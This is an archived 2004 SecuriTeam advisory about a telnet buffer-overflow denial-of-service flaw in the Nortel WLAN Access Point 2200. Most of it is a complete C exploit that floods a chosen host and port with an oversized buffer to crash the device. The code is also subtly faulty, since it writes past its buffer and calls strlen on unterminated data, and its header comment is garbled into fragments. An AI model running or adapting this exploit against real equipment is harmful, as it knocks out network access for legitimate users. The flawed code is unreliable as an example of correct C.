

# [EXPL] Nortel Networks Wireless LAN Access Point 2200 DoS

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-03/0030.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 03/10/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 10 Mar 2004 18:18:39 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Nortel Networks Wireless LAN Access Point 2200 DoS

---

## SUMMARY

A vulnerability in the WLAN 2200 Wireless Access Point allows a remote user to crash the AP via a telnet session, this by sending it an overly long buffer after the telnet connection is initiated.

## DETAILS

Exploit:

```
/* WLAN-DoS.c
```

```
*
```

```
* Nortel Networks Wireless LAN Access Point 2200 DoS + PoC
```

```
* discovered by Alex Hernandez.
```

```
*
```

```
* Copyright (C) 2004 Alex Hernandez.
```

```
*
```

```
* A successful attack on a vulnerable server can cause the AP
```

```
* (Access Point) listener to fail and crash. The port 23 (telnet)
```

```
* functionality cannot be restored until the listener is manually restarted.
```

```
*
```

## Securiteam: [EXPL] Nortel Networks Wireless LAN Access Point 2200 DoS

- \* LAN AP 2200 permits client-server communication across any network.
- \* LAN enables by default the port 23 (telnet) and port (80) for administering.
- \* Debugging features are enabled by default, if LAN AP encounters such a request,
  - \* it will crash and no longer field AP requests from authorized clients.
  - \*
    - \* Simple lame code by
    - \*
      - \* -Mark Ludwik :Germany
      - \*
        - \*
          - \*/

```
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>

int main(int argc, char *argv[]) {
    if(argc < 3) {
        printf("\nWLAN NortelNetworks AP DoS exploit by Mark Ludwik\n\n");
        printf("Usage: WlanDoS [AP/Host] [port]\n\n");
        exit(-1);
    }

    int sock;
    char explbuf[2024];
    struct sockaddr_in dest;
    struct hostent *he;

    if((he = gethostbyname(argv[1])) == NULL) {
        printf("Couldn't resolve %s!\n", argv[1]);
        exit(-1);
    }

    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket()");
        exit(-1);
    }

    printf("\nWLAN NortelNetworks AP DoS exploit by Mark Ludwik\n\n");

    dest.sin_addr = *((struct in_addr *)he->h_addr);
    dest.sin_port = htons(atoi(argv[2]));
    dest.sin_family = AF_INET;

    printf("[+] Exploit buffer.\n");
    memset(explbuf, 'A', 2024);
```

Securiteam: [EXPL] Nortel Networks Wireless LAN Access Point 2200 DoS

```
memcpy(explbuf+2024, "\n\n\n\n\n\n\n", 8);

if(connect(sock, (struct sockaddr *)&dest, sizeof(struct sockaddr)) ==
-1) {
  perror("connect()");
  exit(-1);
}

printf("[+] Connected...\n");
printf("[+] Sending DoS attack...\n");

send(sock, explbuf, strlen(explbuf), 0);
sleep(2);
close(sock);
printf("\n[+] Crash was successful !\n");
return(0);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:mark-security@hush.com> Mark Ludwik.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.